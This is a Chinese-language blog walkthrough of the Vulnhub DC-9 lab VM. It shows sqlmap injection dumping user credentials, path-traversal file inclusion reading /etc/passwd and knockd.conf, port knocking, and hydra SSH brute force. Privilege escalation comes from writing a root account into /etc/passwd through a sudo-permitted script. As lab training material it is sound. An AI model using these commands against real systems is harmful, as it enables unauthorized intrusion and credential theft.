Vulnhub靶场 | DC系列 - DC9

DC-9

环境搭建

  1. 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
  2. 需要将靶机和 kali 攻击机放在同一个局域网里;
  3. 本实验kali 的 IP 地址:192.168.10.146。

渗透测试

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

经判断,目标主机IP地址为192.168.10.155。

扫描开放的服务。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.155

注意:这里的22端口显示的是filtered。

分析下网站

这里是一些用户的信息

这里可以使用name搜索相关的信息

这里可以登录。尝试sql注入,不行。还有一个思路,前面有各种用户的信息,可以尝试组成社工字典进行爆破(这个放到没有利用点的时候再尝试)

经测试,搜索页是存在sql注入的。

直接上sqlmap吧~

因为是post注入,所以先使用BurpSuite抓取一下数据包。

将请求内容放入到dc9文件中之后运行sqlmap

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --current-db
current database: 'Staff'

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users --columns
Database: Staff
Table: Users
[3 columns]
+----------+-----------------+
| Column   | Type            |
+----------+-----------------+
| Password | varchar(255)    |
| UserID   | int(6) unsigned |
| Username | varchar(255)    |
+----------+-----------------+

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users -C Username,Password --dump
Database: Staff
Table: Users
[1 entry]
+----------+--------------------------------------------------+
| Username | Password                                         |
+----------+--------------------------------------------------+
| admin    | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) |
+----------+--------------------------------------------------+

使用admin:transorbital1 登录成功。

这个页面下面提示“File does not exist”,猜测这里存在文件包含。

猜测参数为file,读取下passwd文件试试:

http://192.168.10.155/manage.php?file=../../../../etc/passwd

读取成功,这里存在本地文件包含。

尝试了下远程文件包含,不行~

端口敲门服务

knockd配置位置/etc/knockd.conf。

http://192.168.10.155/manage.php?file=../../../../etc/knockd.conf

敲门顺序 sequence = 7469,8475,9842。

安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:

apt install knockd
knock 192.168.10.155 7469 8475 9842

或者使用nc进行依次连接也可

┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 7469 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 8475 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 9842 

再次进行扫描,会发现22端口是open状态。

使用sql注入漏洞获取users库中的UserDetails表中的数据

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D users -T UserDetails -C username,password --dump

将username 列放入username.txt中,password放入到password.txt中。

┌──(root💀kali)-[~/桌面]
└─# cat a.txt  

┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $2}' a.txt > username.txt 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $3}' a.txt > password.txt

去除一下前后的空格。

┌──(root💀kali)-[~/桌面]
└─# vim username.txt 
:%s/ //g
%是整个缓冲数据,即整个文本
s/查找的字符/替换的字符/
g是全部替换

对ssh服务进行密码爆破。

┌──(root💀kali)-[~/桌面]
└─# hydra -L username.txt -P password.txt 192.168.10.155 ssh

[DATA] attacking ssh://192.168.10.155:22/
[22][ssh] host: 192.168.10.155   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.10.155   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.10.155   login: janitor   password: Ilovepeepee

使用三个用户登录,进行信息收集。在janitor的家目录下发现隐藏目录,其中的文件是一个密码文件。

janitor@dc-9:~$ ls -a
.  ..  .bash_history  .gnupg  .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

把密码放入刚才的密码文件中,再次爆破一下。

多了一个账号:登录一下

login: fredf   password: B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.10.155

fredf@dc-9:~$ 

查看sudo授权,有一个授权~

执行以下该脚本,sudo /opt/devstuff/dist/test/test

提示 python test.py。

/opt/devstuff/中找到了test.py文件,查看文件内容。

分析含义:需要三个参数,如果不是3则输出“Usage:…”,满足3个参数,则第2个参数的文件内容写入到第3个参数的文件中。

思路:

  • 1、首先/opt/devstuff/dist/test/test可以以root身份运行
  • 2、构造有root权限的账户放入到/etc/passwd中
  • 3、以该用户登录系统

使用openssl passwd 生成密码

┌──(root💀kali)-[~/桌面]
└─# openssl passwd 123456
bwfgXppOVV0PI

编写a.txt文件

fredf@dc-9:~$ vi a.txt 
hackerx:bwfgXppOVV0PI:0:0::/root:/bin/bash

将a.txt文件写入到/etc/passwd文件中

fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test a.txt /etc/passwd

切换到新添加的hackerx用户

拿到flag

参考链接:

  • 18
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值